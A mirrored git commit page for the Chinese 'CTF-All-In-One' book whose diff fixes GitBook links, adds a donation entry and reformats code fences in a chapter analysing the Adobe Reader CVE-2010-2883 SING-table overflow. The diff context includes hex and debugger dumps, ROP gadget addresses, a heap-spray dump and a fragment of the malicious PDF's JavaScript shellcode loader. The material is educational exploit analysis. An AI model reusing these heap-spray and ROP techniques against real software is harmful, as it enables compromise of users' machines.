mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
fix gitbook
This commit is contained in:
parent
eb1e60345a
commit
12878022bf
@ -16,11 +16,11 @@
|
||||
|
||||
GitHub 地址:<https://github.com/firmianay/CTF-All-In-One>
|
||||
|
||||
GitBook 地址:<https://www.gitbook.com/book/firmianay/ctf-all-in-one/details>
|
||||
GitBook 地址:<https://firmianay.gitbook.io/ctf-all-in-one/>
|
||||
|
||||
PDF/Mobi/ePub 文件下载地址:
|
||||
|
||||
- (推荐)<https://www.gitbook.com/download/pdf/book/firmianay/ctf-all-in-one>
|
||||
- (推荐)<https://firmianay.gitbook.io/ctf-all-in-one/>
|
||||
- (不推荐)<https://github.com/firmianay/CTF-All-In-One/releases>
|
||||
|
||||
## 目录
|
||||
@ -70,3 +70,4 @@ CC BY-SA 4.0
|
||||
- 2020-04-05 jingle ¥200
|
||||
- 2020-05-19 新写的旧歌 ¥5.2
|
||||
- 2020-08-26 *绍林 ¥50
|
||||
- 2020-09-11 d0ub1e2 ¥66
|
||||
|
@ -180,16 +180,17 @@ typedef struct
|
||||
|
||||
还是利用 PDFStreamDumper,从样本里将 TTF 取出来,需要注意的是 TTF 采用大端序。
|
||||
|
||||
```html
|
||||
<pre>
|
||||
$ xxd -g1 hexC0E5.tmp | grep -A1 "SING"
|
||||
000000e0: 05 47 06 3a 00 00 eb 2c 00 00 00 20 <b>53 49 4e 47</b> .G.:...,... SING
|
||||
000000f0: <b>d9 bc c8 b5 00 00 01 1c 00 00 1d df</b> 70 6f 73 74 ............post
|
||||
</pre>
|
||||
|
||||
```
|
||||
加粗部分即 SING 表目录项,其 `offset` 域为 `0x0000011c`。
|
||||
|
||||
于是找到 SING 表,其中加粗部分为 `uniqueName` 域:
|
||||
|
||||
```html
|
||||
<pre>
|
||||
$ xxd -g1 hexC0E5.tmp | grep -A3 "00000110"
|
||||
00000110: 3b 07 f1 00 00 00 20 f8 00 00 05 68 00 00 01 00 ;..... ....h....
|
||||
@ -197,7 +198,7 @@ $ xxd -g1 hexC0E5.tmp | grep -A3 "00000110"
|
||||
00000130: 73 5d 52 c2 14 a7 82 4a 0c 0c 0c 0c bc 94 b0 83 s]R....J........
|
||||
00000140: 45 a2 04 7d 13 4b 30 18</b> 98 95 ed 9f 3e cc 50 8b E..}.K0.....>.P.
|
||||
</pre>
|
||||
|
||||
```
|
||||
### 栈溢出
|
||||
|
||||
我们已经知道栈溢出发生在 SING 表的处理中,于是在 IDA 中打开 CoolType.dll,搜索字符串 "SING":
|
||||
@ -288,7 +289,7 @@ char *strncat(char *dest, const char *src, size_t n);
|
||||
```
|
||||
|
||||
此时的 this 指针指向 TTF 对象:
|
||||
|
||||
```html
|
||||
<pre>
|
||||
d ecx:
|
||||
|
||||
@ -300,17 +301,17 @@ d 021854B0:
|
||||
021854C0 B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54 確鬰..雙...VPCLT
|
||||
...
|
||||
</pre>
|
||||
|
||||
```
|
||||
然后 F8 单步步过,eax 里是函数的返回值 `0012E4B4`,其值等于 this 指针的地址。
|
||||
|
||||
```html
|
||||
<pre>
|
||||
d 0012E4B4:
|
||||
|
||||
0012E4B4 <b>38 B9 7D 04</b> DF 1D 00 00 00 00 00 00 00 00 00 00 8箎?..........
|
||||
</pre>
|
||||
|
||||
```
|
||||
下一句给 eax 赋值为一个指向 SING 表的指针,即 this 指针的内容。
|
||||
|
||||
```html
|
||||
<pre>
|
||||
d 047DB938:
|
||||
|
||||
@ -352,7 +353,7 @@ d 047DB938:
|
||||
047DBB68 CE 3C 13 48 AF 4D BA 78 DB 4E EA 5F 34 3F 14 8C ?H疢簒跱阓4?
|
||||
047DBB78 80 56 8D 65 A8 84 38 6D 91 4E B1 54 6C 00 00 00 €V峞▌8m慛盩l... <-- 0x22d bytes
|
||||
</pre>
|
||||
|
||||
```
|
||||
所以这个函数的作用已经清楚了,通过传入的 tag 字符串,在 this 指针指向的 TTF 对象里找到对应的表目录项,使用表地址重置 this 指针。
|
||||
|
||||
接下来就是 strcat 函数了。
|
||||
@ -457,7 +458,7 @@ d esp:
|
||||
```
|
||||
|
||||
在进入下面的内容前,我们再来看一个东西,即 `eax` 是由 `edi` 控制的,通过对函数调用的回溯,可以看到程序对 edi 的处理,它的值在整个过程中都是不变的,而且 edi+0x3C 正好存放第一个 gadget 的地址。所以只要这个地址被覆盖,就可以控制 EIP 了。
|
||||
|
||||
```html
|
||||
<pre>
|
||||
d edi+0x3C:
|
||||
|
||||
@ -467,7 +468,7 @@ d 0012E6D0:
|
||||
|
||||
0012E6D0 <b>38 CB 80 4A</b> 44 B6 49 EA A5 2D 16 26 4B B1 FA D2 8藔JD禝辚-&K柄 <-- ROP
|
||||
</pre>
|
||||
|
||||
```
|
||||
### Heap spray
|
||||
|
||||
上面的 gadget 返回后,堆栈就被转移到 heap spray 的地方了。
|
||||
@ -475,7 +476,7 @@ d 0012E6D0:
|
||||
Heap spray 是在 shellcode 的前面加上大量的 slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。
|
||||
|
||||
我们来实际看一下(加粗的地方是后面会用到的 gadgets 地址):
|
||||
|
||||
```html
|
||||
<pre>
|
||||
0C0C0BE0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ <-- NOP slide
|
||||
0C0C0BF0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
|
||||
@ -517,10 +518,10 @@ Heap spray 是在 shellcode 的前面加上大量的 slide code(滑板指令
|
||||
0C0C0E30 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ <-- NOP slide
|
||||
0C0C0E40 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
|
||||
</pre>
|
||||
|
||||
```
|
||||
通过 PDFStreamDumper 可以看到内嵌的 JavaScript,将变量还原后代码如下:
|
||||
|
||||
```javascript
|
||||
```js
|
||||
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000 ...省略大量字符... a1%ucb42%u9024%u220e%u10c3%u3ab4' );
|
||||
var rop = unescape( "%u0c0c%u0c0c" );
|
||||
while (rop.length + 20 + 8 < 65536) rop+=rop;
|
||||
@ -899,6 +900,6 @@ d 03E90000:
|
||||
## 参考资料
|
||||
|
||||
- 《漏洞战争》
|
||||
- <https://www.cvedetails.com/cve/CVE-2010-2883/>
|
||||
- https://www.cvedetails.com/cve/CVE-2010-2883/
|
||||
- [PDF File Format: Basic Structure](https://resources.infosecinstitute.com/pdf-file-format-basic-structure/)
|
||||
- [TrueType 1.0 Font Files](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/minuxs/TrueType%201.0%20Font%20Files.pdf)
|
||||
|
Loading…
Reference in New Issue
Block a user